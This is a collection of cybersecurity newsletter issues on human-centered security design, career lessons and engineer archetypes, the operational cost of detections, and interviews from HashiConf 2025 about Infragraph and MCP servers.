“Humans are the weakest link.”

We’ve even made cybersecurity marketing and product playbooks just to fit this rhetoric.

It’s said with a mix of conviction, some frustration, and resignation, as if the problem begins and ends with the user who clicked the phishing email or reused their password.

But lately, I’ve been rethinking that phrase, because maybe the problem isn’t the people.

Maybe it’s the way we design for them.

Subscribe now

Join a vibrant cybersecurity community of over 7000 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like reading, fitness, finance, anime, and other exciting subjects.

Join Us!

A Flawed Premise

I’ve been reading (and have since paused) Don Norman’s The Design of Everyday Things. This is one of the most influential books on human-centered design.

Norman shares a story about investigating the Three Mile Island nuclear accident. The operators were blamed for “human error,” but as his committee later found, the real failure was design.

The control panels were so poorly laid out that it was inevitable that the wrong actions would be taken.

That story struck me hard because the same logic applies to cybersecurity. Hence, the reason why I’m writing this.

When we blame users for being “the weakest link,” what we’re really saying is:

We designed a system that expected humans to behave perfectly…and they didn’t.

What Human-Centered Design Teaches Us

Norman’s philosophy is simple yet radical:

Human-centered design starts from understanding humans.

It’s the belief that systems should be built around people, their capabilities, limitations, and behavior, not the other way around.

Now imagine applying that same principle to cybersecurity.

What if security were an enabler of trust, confidence, and resilience?

The Essence of Security

I’ve been obsessed with word etymology recently and decided to find out the etymology of the word “security”.

Per etymonline (as recommended by Gemini), the word "security" originates from the Latin sēcūritās, meaning freedom from care, apprehension, or danger, derived from sēcūrus ("safe" or "without care").

It combines se- (without) and cura (care/concern), emerging into Middle English as securite in the early 15th century to describe a state of safety.

So, what this means is that security, at its core, is supposed to mean freedom from care. Freedom from anxiety. A state where you’re not constantly thinking about what could go wrong.

But that’s not what most people experience.

What they experience is friction. They experience getting locked out of their own accounts. They experience clicking through prompts they don’t fully understand. They experience being told to “be more careful” in systems that never really help them be.

Somewhere along the way, security stopped feeling like safety and started feeling like responsibility. And we handed that responsibility to the user.

That’s the part I keep coming back to, but that’s a letter for another day.

What would it look like if we actually took that definition of security seriously?

Human-Centered Security

If security is supposed to feel like freedom from care, then what we build shouldn’t feel like something users have to constantly fight through. It should feel like something that quietly supports them.

That’s where I think human-centered security comes in.

Human-centered security, at least to me, isn’t about adding more shiny controls or features. It’s about rethinking security as an experience.

Reality shows that a well-designed system doesn’t rely on people memorizing policies or sitting through another awareness training session. It makes the right action obvious through its design. The experience aligns with what security is actually supposed to feel like: a sense of safety, not constant friction.

That distinction matters because if we over-index on the feeling of security without grounding it in reality, we end up with something worse than insecurity, a false sense of security.

And we know how dangerous that can be.

The better approach is simpler, but harder to execute. It’s the same principle you see everywhere else in good design, where you don’t need a manual to use a well-designed door. You don’t need a checklist to move through a clean interface. The design communicates intent. It guides behavior and meets you where you are.

Security should be doing the same thing.

Which means the questions start to change.

Not “how do we make users comply,” but how do users naturally understand what’s secure? How do we communicate risk in a way that actually lands, without overwhelming them? How do we make the secure choice the path of least resistance instead of the most difficult one? And how do we make security feel like an enabler instead of something that’s constantly in the way?

These questions are important because the reality is, people are going to make mistakes. That’s not a flaw in the system. That is the system.

Good design anticipates that. It doesn’t pretend it won’t happen. It builds around it.

In a security context, that means assuming an error will occur and designing for it anyway. It means putting guardrails in place that prevent small mistakes from turning into major incidents. It means creating feedback loops that actually teach and guide rather than punish people after the fact.

Once you start thinking about it this way, the “weakest link” framing starts to fall apart.

We start to undo this quiet assumption that’s shaped security for years. This bad assumption that the relationship between humans and security has to be adversarial, or that the user is the problem to be controlled.

It doesn’t have to be that way.

When you design with people in mind, the relationship shifts and becomes collaborative. The system supports the human, and in turn, the human strengthens the system.

The Real Weak Link

Every incident I’ve ever investigated has reinforced a humbling truth:

The system always works exactly as designed; it was just used for a different purpose or via a different mechanism than intended.

This is the part we tend to move past too quickly because, when you really sit with it, much of what we label “human failure” doesn’t actually start with the human. It starts with the environment we placed them in.

If a developer can’t realistically follow an IAM policy because it’s too complex to reason about in the flow of their work, that’s not a training gap. If a phishing simulation leaves employees feeling embarrassed instead of better equipped the next time around, that’s not awareness. If a password rotation policy leads to credentials being written down and hidden under keyboards, that’s not defiance.

Those are signals.

Signals that the system, as designed, is asking people to operate in ways that don’t align with how they actually think, work, and make decisions.

And this is where I think security always loses the plot.

We’ve spent years optimizing for technical correctness, tighter controls, more coverage, and logical completeness. But in doing so, we’ve overlooked something, the fundamental fact that humans don’t operate on logic alone.

They operate on trust, intuition, emotion, and habit.

And when those realities collide with systems that weren’t designed with them in mind, something has to give.

Most of the time, it’s the human who gets blamed.

But if we’re being honest, the system did exactly what it was built to do.

And until security starts accounting for that, we’ll keep building mechanisms that look strong on paper but end up working against the very people they’re supposed to protect.

AI, for humanity?

I believe this is where AI starts to become interesting and useful in a very different way. Not just as a tool for detection or automation, but as a bridge between systems and people.

For the first time, we have systems that can adapt more closely to how humans think, rather than forcing humans to adapt to rigid machine logic.

And if that’s the direction things are moving, then the role of the security professional has to evolve with it.

It’s no longer enough to just understand systems. You have to understand people, their thought processes, how they make decisions, and how trust is formed and broken. The Social Engineering Community already has a head start on this.

As AI continues to accelerate the technical side of security, more of the differentiation will come from understanding the human side. Psychology, behavior, communication, and all areas that security has historically treated as secondary will become core to how effective systems are designed.

Rethinking Security Through Human-Centered Design

Human-centered design doesn’t excuse mistakes or assign blame to humans; it approaches design with them in mind.

It utilizes iteration, observation, and empathy to design systems that adapt to human behavior, rather than requiring humans to adapt to systems.

So maybe the next evolution of cybersecurity isn’t just about AI-driven detections or zero-trust architectures.

Perhaps it’s also about human-centered security, which builds systems designed to work with people, not against them.

The real weakest link isn’t the human. It’s our failure to design for humans.

Share

It’s a strategic blueprint from someone who helped Netflix scale security without slowing the company’s engineering engine—a balance that’s notoriously hard to get right.

It got me thinking about my own path as a Security Engineer and the various domains I’ve worked in.

What stuck with me wasn’t just Jason’s structured layers of context, strategy, and execution, but how those principles have shown up in my work again and again.

Sometimes explicitly. Sometimes, without realizing it until later.

So in this issue, I want to do two things:

1. Walk you through a few pivotal moments in my security engineering career

2. Extract real, applicable lessons from each so that you can bring them into your own context

This is not just “what I did.”

It’s “why it mattered, and what it could mean for you.”

Subscribe now

Join a vibrant cybersecurity community of over 7,000 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

Watch the full video breakdown below:

When Speed Is the Priority

Jason discusses how security teams must make room for velocity, not hinder it.

That means knowing when to optimize for “good enough right now” versus “perfect later.”

That lesson hit me hard during an active cloud campaign while I was a cloud threat detection engineer.

We were watching an attacker group compromise cloud environments at scale, deploying crypto miners using consistent IAM roles and resource naming patterns.

We had clear indicators, but no time for elegant detection modeling or layered behavioral TTP-based detections.

So I made the call to build and deploy an IOC-heavy detection.

The logic was sharp but narrow. It was very atomic in nature.

Honestly, it wasn’t what I’d want to ship under normal conditions. But it bought us time.

Visibility first. Accuracy later.

What I learned (and you can apply):

• There is a time and place for precision, but don’t let the perfect detection delay critical visibility.

• Your first iteration (for an atomic detection) doesn’t have to scale. It has to inform.

• Build something quickly, but tag it for review. Revisit it once the fire’s out.

• Sometimes, shipping quickly is the safest thing to do.

And this applies far beyond cloud detection.

Whether it’s building IAM policies, hardening containers, or writing security automation, sometimes velocity is the first layer of resilience.

Build Once, Scale Forever

Jason describes “strategy” as choosing high-leverage work that scales your impact.

When I was tasked with building detections for Google Cloud (GCP) as a cloud threat detection engineer, I could have started cranking out detections service by service.

But I knew that wouldn’t scale, and frankly, I didn’t fully understand GCP yet. Instead, I stepped back and developed an understanding of the cloud provider and a cloud threat modeling framework.

I grouped GCP services into high-level domains - Compute, storage, IAM, databases, and then used those abstractions to understand attack surfaces.

From there, I could drill down into the specifics:

• What does identity misuse look like across IAM and storage?

• How does lateral movement manifest in GCP’s managed services?

• How are GCP services abused differently or similarly to other Cloud services?

What I learned (and you can apply):

• Before building tooling or detections, have a mental model of the domain. It doesn’t have to be perfect—it just has to make complexity navigable.

• Focus on identifying common patterns across services rather than isolated exceptions. This is where reliable detection logic starts.

• If you’re onboarding into a new cloud provider, threat modeling isn’t a “nice to have”—it’s your best shot at building a reusable, scalable detection strategy.

• Documentation is a weapon. When you build mental models, write them down. It’ll save the next person weeks of confusion—and save you from repeating work six months later.

If you’re early in your career, this is gold: don’t just solve the problem, try to solve the class of problems.

Why Saying “No” is Strategic

One of the sharpest lines from Jason’s piece comes from Netflix’s former CEO, Reed Hastings:

“Strategy is about what you don’t do.”

In my current role, I work on differentiated threat intelligence for specific business units.

One thing I’ve learned the hard way is that not all intel is valuable, even if it’s technically correct or urgent elsewhere.

The internet is full of noise: threat feeds, CVEs, indicators, and intel reports. But my responsibility is to ask, “Is this relevant to us?” If not, I let it go—even if it seems scary or hyped.

What I learned (and you can apply):

• Intelligence without context is just a distraction.

• Learn to filter based on business impact and sector alignment, not just raw severity.

• It’s okay to ignore the noise—especially if you’re building a detection or IR strategy. Not every problem is your problem.

• Write down your priorities or “filter criteria.” That makes your decisions repeatable and teachable.

This applies equally across the SecOps team: don’t get caught writing detections or chasing rabbit holes just because something trended on Twitter.

Institutional Memory is Security Engineering’s Secret Weapon

Chan stresses that true scalability requires building systems people can use long after you’re gone.

That lesson came alive for me recently.

There were two major internal systems my team was responsible for—critical to detection, response, and threat intelligence—but they were barely understood.

No central knowledge. No reusable playbooks.

So, I took it on: I studied the systems, documented their behaviors and our failure points in our interactions with them, hosted a team lunch-and-learn, and built an internal wiki that others could use.

What I learned (and you can apply):

• Documentation isn’t a chore—it’s a force multiplier.

• If your knowledge lives only in your head, your impact dies when you take PTO.

• Teach others how to operate what you’ve built. That’s when you know you’ve succeeded.

• Institutional knowledge is a competitive advantage—don’t let it go to waste.

If you’re early in your career, this is one of the fastest ways to stand out:

Be the person who makes the unclear clear.

Final Thoughts

Jason Chan’s framework gave me words for things I was already doing—but it also challenged me to be more intentional about them.

His call to build guardrails, not gates… to prioritize reuse over heroics… to measure and iterate... all of it resonates more deeply the longer I’ve been in this space.

So here’s my version of his model in practice:

• Context: Understand what your org actually needs, not what LinkedIn or Twitter’s yelling about.

• Strategy: Invest in models, processes, and documentation that outlive you.

• Execution: Move fast when needed—but reflect hard and revise often.

• Measurement: Let the data from real incidents teach you how to improve.

If you’re a security engineer, a detection engineer, a threat hunter, or even just starting, this is your reminder that speed and security don’t have to be enemies.

They can be collaborators if you give them structure.

Keep building paved roads.

And when you do, leave signs behind for the next engineer.

Share

What kind of engineer am I?

Not just what tools you use. Not just what your current title says.

But how do you show up?

How do you solve problems?

How do you instinctively approach complexity?

I’ve seen this question (and its answer) surface over and over again in Slack threads during IRs, in 1:1s with mentees, in hallway conversations, in the quiet frustration of mid-career engineers trying to “level up” but not quite sure how.

And after half a decade in the field—from building threat detection pipelines at prominent startups to leading IR and threat detection at one of the largest tech companies on Earth—I’ve come to believe that most of us in security tend to move within a few core archetypes.

Not boxes. Not labels.

Gravity wells.

You may have blended skills, but there’s usually a center of mass—a force that pulls you toward a particular way of thinking, contributing, and growing. And once you can name that?

That’s when your career starts to gain direction.

Subscribe now

Join a vibrant cybersecurity community of over 7000 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

Watch the full video breakdown below:

Archetypes: A Language for How We Work

Across every security team I’ve been on, I’ve seen five archetypes show up again and again.

These are less about job titles and more about your operating posture.

How you move through problems, what you prioritize, and what kind of work gives you energy.

The Guardian

You’re the shield. The one who jumps on high-severity alerts before anyone else blinks.

You see logs like other people see spreadsheets in patterns, stories, and subtle shifts. Your radar is constantly scanning for badness.

You live in detection pipelines, SOAR playbooks, and IR processes.

You bring signal out of noise. And when things are chaotic, you’re the one who restores order.

Superpower: Translating alerts into action. Noise into signal. Chaos into clarity.

Growth Edge: Learning to zoom out. Don’t just be good at building detection rules or IR workflows. Learn to ask why this detection matters to the business in the first place.

The Architect

Read more

Most of the time, you don’t just buy an asset and walk away; you continue to pay to maintain it. Take an investment property, for example. You pay for staff, maintenance, utilities, and software to sustain operations.

Cybersecurity is no different.

Every new detection rule, workflow automation, or control we deploy carries its own operational expenditure. It requires continuous validation, clear documentation, and regular upkeep via updates or deprecations.

But more importantly, it consumes the scarcest resource in cybersecurity: skilled humans. There simply aren’t enough experienced security professionals to go around, and every new control competes for their limited time, focus, and expertise.

On the same note, building new things is great; as a matter of fact, I encourage all cybersecurity engineers to be builders. However, building is a capital expenditure (CapEx). It’s exciting, one-time, and easy to celebrate.

Maintaining what we build? That’s OpEx. It’s invisible, mundane, constant, but essential.

The more you build, the more likely you are to owe, especially if you cut corners. And like financial debt, it doesn’t disappear. It compounds. You’re borrowing time from your future self, and eventually, the bill comes due.

But enough doom and gloom. This issue isn’t meant for that. It simply expresses this sentient problem as it relates to cyber defense.

Subscribe now

Detection Engineering: Hidden Subscription Fees

Writing a detection rule feels like a win. Even better when it catches an actual threat. You get the dopamine hit of adding coverage, expanding visibility, and contributing to your SOC’s “rule count.”

But every detection you create is a new “subscription”. More specifically, a line item on your cybersecurity operational budget.

The starting cost is the time spent building the detection and testing for precision. Then comes the forever tax of cycles spent triaging inevitable false positives. Then there are hidden fees in the form of headspace needed to document, tune, and maintain as adversaries shift or your environment evolves.

Over time, these costs may accumulate into what I call detection debt. This is the backlog of unmaintained rules and unreviewed alerts that quietly bleed efficiency from your Cybersecurity Operations function.

And like real debt, it then accrues interest if you don’t pay it down quickly or reel in your “spending” habits: more noise, more fatigue, more missed signals.

A future issue of the newsletter will address the topic of detection deprecation which may help keep your budget on track.

Incident Response: Expensive Attention

Incident Response operates under high pressure, where time is capital in a very valuable currency.

And just as a company’s burn rate determines its financial health, your alert volume and false positive rate determine your cognitive health, especially for the engineers or analysts triaging or responding.

When everything triggers, nothing stands out. It’s just like the boy who cried wolf. When security alerts lose credibility through repetition, coupled with little detection accountability, the real threats get ignored.

Each noisy alert from your detection engineering “subscription fees”, misconfigured automation workflows, or irrelevant security escalation/investigation costs minutes, which compound into hours across the team.

Ultimately, the time (capital) spent, or otherwise wasted, in a security incident could be the difference between containment and compromise. This is where those hidden fees start charging interest and bleeding you even more of your most finite IR resource - time.

GRC: The Cost of Compliance Theater

Governance, Risk, and Compliance (GRC) resides in the fine print of cyber defense, which is precisely where operational costs accumulate quietly. Every new framework, audit requirement, or control mapping is like adding another recurring bill.

At first, it looks harmless. One more spreadsheet, one more evidence collection task.

However, over time, these small costs accumulate into process debt, resulting in endless reviews, repetitive documentation, and reactive reporting loops.

Essentially, the result of GRC becoming a checklist rather than a compass. OpEx skyrockets without improving actual security outcomes. Policies become artifacts. Audits become rituals.

You end up paying to maintain a compliance theater instead of actual cyber resilience. Everyone loves a good show, but it should not come at the expense of actual security.

Maturity

Just as financial maturity isn’t necessarily measured by how much you make but by how much you actually keep, Security maturity should not simply be measured solely by how much you deploy.

It should also measure how much you sustain without drowning in your own complexity.

And your cost model should account for both maintenance and development.

I don’t want to reduce operational cost to a mere financial metaphor; I’ll dare to say that it’s a mindset.

It forces you to ask:

• Can this <insert control here> survive without me?

• Can this <insert control here> be maintained six months from now?

• Can this <insert control here> adapt to changes in the environment?

If the answer is no, it’s not ready for production — it’s just another liability waiting to mature.

Every control is a contract. Every rule is a recurring bill.

The longer you operate without acknowledging this, the more expensive your security becomes.

💭 Closing Thought

What’s your team’s real operational cost? Audit your detections, playbooks, and controls to see what you’re still paying for in time, toil, and attention.

Share

Nine years.

Nine years of learning, grinding, building, and changing in ways I didn’t fully understand until I went back.

And somewhere between the chaos of Abuja’s traffic and the peace of being home again… I realized something.

Man…what an advantage. But also, what a paradox.

Subscribe now

The Advantage

There’s something special about being an immigrant, or really, anyone who’s ever had to start from zero.

You see two worlds. You understand scarcity and abundance.

You carry a perspective most people don’t even know exists. Your perspective gives you clarity.

Your clarity gives you resilience. Your resilience gives you staying power.

In a weird way, you learn to thrive with limited resources, and then when you finally get access to more, you move like someone who still remembers what it’s like to have none.

That’s your edge. That’s your advantage.

The Trap

But here’s the part you don’t notice:

That advantage fades fast.

When you finally get comfortable, the fire that once pushed you forward quietly goes out.

When the stakes aren’t as high anymore, urgency disappears. And slowly, you start coasting.

It’s the same thing that happens in cybersecurity careers.

You get the job, you learn the tech stack, you detect the threats, you respond to the incidents, you automate the redundant security work.

You make the multiple six figures salary.

And somewhere in between performance reviews, raises, and promotions, you lose that early hunger. The hunger that made you stay up late tinkering in your home lab, studying packet captures for fun, or learning that new programming language.

You stop chasing mastery and start chasing stability.

Now, don’t get me wrong, stability is good.

It’s okay to find peace in your work, to want consistency, to finally breathe after years of grinding.

But stability shouldn’t become complacency.

You can be content without being stagnant. You can rest without losing your edge.

Lesson Learned

The immigrant advantage, just like your early-career edge, isn’t something you get once and keep forever.

It’s something you have to protect, and you protect it by staying curious.

By building things even when no one’s asking.

By mentoring others and realizing how much you still have to learn.

By pushing yourself into discomfort because comfort is where edges go to die.

If you ever want to know where your career is headed, don’t look at your title or your pay. Look at your edge.

Is it sharper than it was a year ago?

Or has comfort slowly dulled it?

Join a vibrant cybersecurity community of over 6,900 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like reading, fitness, finance, anime, and other exciting subjects.

Join Us!

Five Years In

This year marks my fifth year in cybersecurity.

From breaking into the field with nothing but curiosity and persistence, to hunting for threats at Amazon’s scale and helping others start their own journey, the lesson that keeps repeating is simple:

Never lose the edge that got you here.

Five years in, I’ve learned that skill can be taught, titles can change, and opportunities can evolve…but that hunger, that fire that made you chase growth in the first place, that’s what keeps you alive in this field.

The real advantage for me isn’t just being an immigrant.

It’s not being early in my career.

It’s staying hungry long after I no longer need to be.

That’s how you build longevity in cybersecurity — and in life.

Share

HashiConf 2025 marked a turning point for how we think about automation, visibility, and security in the AI age. The announcements appear to be puzzle pieces forming a bigger vision of what HashiCorp plans for the future of infrastructure, which involves systems that understand context before they act.

From Project Infragraph to the rise of MCP-powered AI operations, every keynote, demo, and hallway conversation hinted at the same shift: the future of DevOps and cloud security is about orchestration backed by context.

This issue of Cyberwox Unplugged explores that future.

I already outlined the major releases and announcements in my vlog, so this newsletter will focus on practical insights from the field and discussions with key figures shaping the next phase, including HashiCorp’s leadership and practitioners working at a large scale.

Subscribe now

Watch the full HashiConf 2025 vlog on the CYBERWOX YouTube channel for clips from these interviews and behind-the-scenes moments from San Francisco.

Standout Announcements

• Project Infragraph offers a real-time, unified graph for managing multi-cloud and hybrid states. This feature is in private beta, expected in December 2025. Think of it as live topology and relationships that agentic systems can analyze. 

• MCP servers (Model Context Protocol) for Terraform, Vault, and HCP Vault Radar are now in public beta. They enable AI tools to securely initiate runs, read state, and execute common operations from an IDE or client. This serves as the link between current platforms and future agents. 

• Terraform gains more pragmatic power with Stacks GA, Actions for “Day 2” ops, and Terraform Search (long-requested) to discover unmanaged resources and bring them under IaC. Fewer click-ops, less drift.

• Packer now offers SBOM storage (GA) and package visibility (beta) to mark images with provenance and software bills of materials, providing supply-chain transparency from the initial boot. 

• Vault & Radar updates enable secrets protection directly within your code editor, offering features like pre-commit detection, IDE workflows, and Jira SaaS scanning to ensure secrets are fixed before reaching the repository. 

And so much more you can dive into below:

Expert Insights

Armon Dadgar on Simplifying Cloud Complexity

When I asked Armon Dadgar, Co-founder and CTO of HashiCorp, how he envisions helping organizations stay secure and operationally resilient as AI and multi-cloud adoption expand, his answer centered on three core themes:

• standardization

• managed delivery, and

• AI-augmented visibility

“When we talk about our hybrid cloud operating model, it’s about how do you get to a standardized platform approach… Most enterprises are highly fragmented—they have a hundred app teams doing it a hundred different ways, and that’s an unmanageable level of complexity. You’re never going to get good at that, or be able to secure that.”

For Armon, security at scale begins with a unified platform strategy for provisioning, secrets management, and key management. Fragmentation, he noted, is the real enemy of operational maturity. The more unique patterns that emerge across teams, the harder it becomes to secure and automate them.

He went on to highlight a second primary focus: the HashiCorp Cloud Platform and the company’s broader managed services push.

“A lot of organizations lack the skills to actually deliver this stuff. So our big focus is: how do we run it as a managed service? We’ll handle integrations, backups, upgrades—all the stuff most teams struggle with.”

This reflects a long-term shift for HashiCorp from just being a tool provider to becoming a platform operator that helps enterprises consume secure infrastructure as a service, rather than a burden.

But Armon’s third point revealed where HashiCorp’s roadmap is truly heading: visibility and context through Project Infragraph.

“When I look at most outages or security issues, it’s not one system in isolation—it’s a chain of dependencies. The only way you solve that complexity is by visualizing it and seeing it.”

Infragraph, he explained, will help organizations map and understand relationships across their infrastructure, making cause-and-effect more visible across teams, clouds, and environments.

And once visibility is established, AI can play a significant operational role.

“Once you can visualize and see those relationships, that’s when AI augmentation starts making sense. You add MCP interfaces to something like Infragraph, and it starts unlocking day-two automation—the stuff we can’t really do today because the systems have no context.”

That last line says it all.

It doesn’t seem like HashiCorp is just chasing AI for the sake of hype. They seem to be building a contextual foundation that AI needs to operate responsibly in production systems, where visibility (from the context) is a fundamental requirement for AI autonomy.

Armon summed up the company’s mission clearly:

“Drive standardization, get to simplicity through a platform strategy, create consistent visibility, and ultimately help drive AI day-two operations.”

Will Bengtson on Platform Security and the Future of Infragraph

In our conversation, Will Bengtson, VP of Platform and Security Engineering at HashiCorp, gave a practical look into how HashiCorp runs its own products internally, as well as what excites him most about the company’s latest announcements.

“I own our cloud platform, HCP, and security… probably the most used tool for my teams is Terraform. Infrastructure as code lets us launch new features and deploy Infragraph with security baked in from the start.”

He also highlighted the critical role of Vault in their CI/CD processes and how it ties directly into HCP (HashiCorp Cloud Platform) — bringing secret management and compliance checks closer to the build pipeline. But when asked about his personal favorite tool, he didn’t hesitate:

“The one I love the most is Packer. Immutable infrastructure. Instead of patching, we just rebuild and redeploy. You can move infrastructure really fast.”

The mindset of rebuilding an image reflects a security engineer’s instinct to prefer known-good baselines over accumulated risk. It’s also the type of thinking that makes HashiCorp’s internal engineering culture mirror the ideals it advocates to its customers.

When we got into new announcements from HashiConf, Will pointed straight to Project Infragraph:

“The one I’m hearing the most buzz about is Infragraph. From a security perspective, asset management… from an ops perspective, being able to dig into a vulnerability, figure out where it lives in HCP or Packer, and trace it back into Terraform—that’s powerful.”

Seeing Infragraph’s first live demo alongside the rest of the audience, he noted that the natural language pre-built queries stood out the most:

“The pre-canned questions are super important—especially if you’ve never used it. You can filter and explore without needing to do everything manually. I thought the natural language hit hard.”

That’s the vision of Infragraph in action: making infrastructure and dependency visibility accessible not just to engineers but to anyone managing security and reliability at scale.

Before wrapping up, Will mentioned his next big “side project” — welcoming a new baby into the world. But even with that personal milestone ahead, his mind is already turning to what’s next for AI inside HashiCorp’s ecosystem:

“I’m really just trying to figure out where we’re going with AI next in our products. That’s going to be my new side project.”

All the best, Will!

Brian Chong on Scale, SBOMs, and the Next Layer of Infrastructure

Brian Chong, Director of Infrastructure and Security at Rubrik, brought a large-scale enterprise perspective to the table. His teams rely heavily on HashiCorp tooling—Terraform, Packer, and Vault—with an eye toward expanding into Nomad and Consul to extend automation beyond infrastructure and into service-level orchestration.

“Our three main tools are Terraform, Packer, and Vault. But we’re looking at Nomad and Consul as well.”

When asked which of the new announcements caught his attention, Brian didn’t hesitate:

“From my world, Terraform Actions. That’s going to help unify some of our toolsets and hopefully let me eliminate a few we already have. Optimization at our scale is always important.”

For him, the other standout was the new SBOM integration in Packer.

“As a security and compliance leader, SBOMs are a big deal. With the recent executive orders and all the discussion around supply-chain security, it’s good to see HashiCorp taking it seriously.”

He emphasized that the ability to automatically embed and track software bill of materials data directly within image metadata will streamline compliance workflows and help meet evolving regulatory requirements.

Looking ahead, Brian and his team are exploring Consul for service discovery and service mesh.

“We want to scale from infrastructure into the application tier. And integrating SBOM data into compliance systems will be a key next step.”

Rob Barnes on Nomad, Terraform Actions, and Building for the Ecosystem

In our conversation at HashiConf, Rob Barnes, Senior Developer Advocate at HashiCorp, shared a grounded perspective on Nomad’s flexibility, the future of Terraform, and what drives his work in connecting users to better workflows.

“Nomad is very underrated. It’s extremely flexible—which for me is one of its core strengths. It’s also extremely scalable… especially for high-performance workloads.”

Rob emphasized that while Nomad has long been seen as an alternative to Kubernetes, its scalability and simplicity make it an ideal choice for modern use cases, particularly in AI data centers, where speed and orchestration efficiency are critical.

When asked about the feature he’s most excited about from the conference, Rob didn’t hesitate:

“The clear winner is obviously Terraform Actions. Everyone’s super excited about that.”

He reflected on how Terraform Actions addresses a long-standing community desire for post-deployment operations—something many had tried to solve with Ansible-style provisioning. Rob admitted that HashiCorp’s earlier stance (“you have images, you don’t need provisioners”) made sense for its time, but “the world’s moved on.”

Now, Terraform Actions marks a major advancement in transforming Terraform from just a provisioning tool into a comprehensive lifecycle automation platform.

Beyond the announcements, Rob’s mindset as a developer advocate stood out. He talked about maintaining the Terraform provider “Terracurl”, which has surpassed two million downloads, and how the new features will soon impact his work directly.

“I can already see I’m going to start getting issues saying—‘Can you implement Terraform Actions?’ Once the conference season dies down, that’s probably what I’ll be working on.”

Outside of his conference workload, Rob’s also working on a five-part blog series on secrets consumption patterns (part 1 & part 2), exploring how organizations can better manage secrets at runtime across AWS Fargate and EC2 environments.

“I’m always looking at the problems people are facing and how, from an ecosystem perspective, we can build integration paths between where we are and where our users are.”

Tameika Reed on Accessibility, AI, and the Future of Infrastructure

Tameika Reed, founder of Women in Linux and infrastructure leader working across edge, cloud, and multi-cloud platforms, brought an energy to our conversation that cut straight to the heart of what HashiConf 2025 was all about.

“By day I lead a team of infrastructure and platform engineers building out edge nodes, cloud computing in multi-cloud environments, and securing those environments — on-prem, edge, and in the cloud.”

Her team’s toolkit reads like a HashiCorp product lineup: Boundary, Consul, Terraform, Vault, and even integrations with OpenShift, which she was particularly excited to see officially supported.

“I’m glad they integrated OpenShift with Vault — that was a big announcement.”

But what stood out most in our talk was how personal this evolution felt to her. Back in 2019, Tameika sat with Armon Dadgar in Amsterdam and shared a prediction:

“I said it’d be great to use AI on the backend of Terraform Cloud — to make suggestions based on what people have already deployed. To help them improve their infrastructure.”

Fast forward to 2025, and that idea has manifested as Terraform Search and MCP servers — both of which she views as major steps toward a more intelligent, guided DevOps experience.

“Here we are from 2019 to what we see now — Terraform Search, with import, and MCP servers that can make suggestions. If I’m a startup, I can use ChatGPT, Terraform Cloud, and MCP to spin up infrastructure really quickly — even without the budget for a full team yet.”

Tameika sees this not just as a technical improvement, but as an equalizer. For early-stage startups or small teams, these features bridge the gap between idea and implementation, allowing teams to deploy quickly, learn faster, and introduce governance later.

“Maybe I don’t have the money to maintain it just yet, but I can get up and running quickly. Then later, I can bring in someone to help maintain or govern it.”

When asked which announcements stood out to her most, she pointed to the same tools shaping the new AI-first operations model:

“I’m most excited about the MCP side and Terraform Search… Terraform Search helps people who already have infrastructure deployed — they don’t have to spend time importing it manually. It’s already there. Just import it, and you’re done.”

For Tameika, MCP is a sign of how AI is transforming how engineers learn and work

Tameika also raised an interesting question about the future of education and certification in this new AI-driven world.

“How does AI change exams? Are we going to be able to use AI on the exam when we’ve been using it all this time? Are we at the age now where exams don’t matter?”

It’s a fair question, honestly, and one that resonates across every industry where copilots and coding assistants are already part of daily workflows. If AI becomes the default partner in real-world engineering, traditional assessments might need to change to focus on judgment and design thinking, not just rote memorization.

Looking ahead, Tameika’s curiosity is far from slowing down. She’s currently studying Generative AI and security, exploring how tools like Vault, OpenShift, and MCP can converge into a secure, automated infrastructure workflow.

She’s also heading to KubeCon, where she expects to see how players like IBM, Red Hat, and HashiCorp might position themselves within the broader AI and quantum ecosystem.

“Just my personal opinion, but I think they’re looking to make a play with or alongside Palantir.”

And her long-term prediction feels both bold and inevitable:

“We’re going to reach a point where everyone’s just creating workflows. You’ll drag and drop what you want, it’ll generate the Terraform code for you, and you’ll hit run.”

That vision aligns perfectly with what’s already unfolding as infrastructure creation becomes more visual, collaborative, and accessible.

“No one cares that you know infrastructure as code. We just need to know: can you check it, does it work, and how much is it going to cost?”

Nasiullha Chaudhari on MCP Servers, AI, and Community Learning

Nasiullha Chaudhari, better known as Cloud Champ to his 160,000+ YouTube subscribers, joined HashiConf 2025 as both a HashiCorp Ambassador and a passionate community educator.

His content centers around cloud, DevOps, and automation, and that perspective showed clearly in our conversation.

“I use HashiCorp tools like Terraform, Waypoint, Boundary, and Consul. I’m here to learn more so I can use them better and share that knowledge with my community.”

When we talked about this year’s wave of announcements, Nasiullha didn’t hesitate to share his excitement centered around the new MCP Servers.

“Most importantly it’s going to be MCP Servers, because initially HashiCorp didn’t have an MCP server under their name. Now they do—for Terraform and other tools. I use Terraform the most, so I’m excited because with MCP, you can just tell the LLM in your language what you want, and it can do it for you.”

He described it as a major change in how people will create and control infrastructure, no longer relying on declarative files but instead using natural language instructions that generate Terraform configurations automatically.

“You can say, ‘I want to create infrastructure on AWS for my application,’ and it’ll do it without you writing the code. And since it’s good for production—you can even use modules and complex setups. I’m eager to test that out.”

But Nasiullha’s curiosity didn’t stop with MCP. He also spoke about Mitchell Hashimoto’s return and the reveal of The Story of Code project:

“I’m also excited to see what’s going on there and why Mitchell’s back. We saw the trailer, and it looked really interesting. With IBM now in the mix, I think we’re going to see even more exciting changes.”

That curiosity reflects what I’m also experiencing. I’m eager to see how HashiCorp’s new era under IBM unfolds with innovation while maintaining its open, developer-first spirit.

For Nasiullha, events like HashiConf are as much about connection as learning:

“These conferences give you exposure. They tell you what’s new, help you connect with other ambassadors and experts. I’m here to connect, learn, and grow.”

After the conference, his focus shifts right back to his audience:

“I’ll go back and start recording my videos again—it’s been long. I miss creating content. I also attend other conferences like KubeCon and DevOps events, but I’ll definitely be back for HashiConf 2026 in Atlanta.”

Takeaways

HashiConf 2025 was a mirror reflecting where the entire industry is heading.

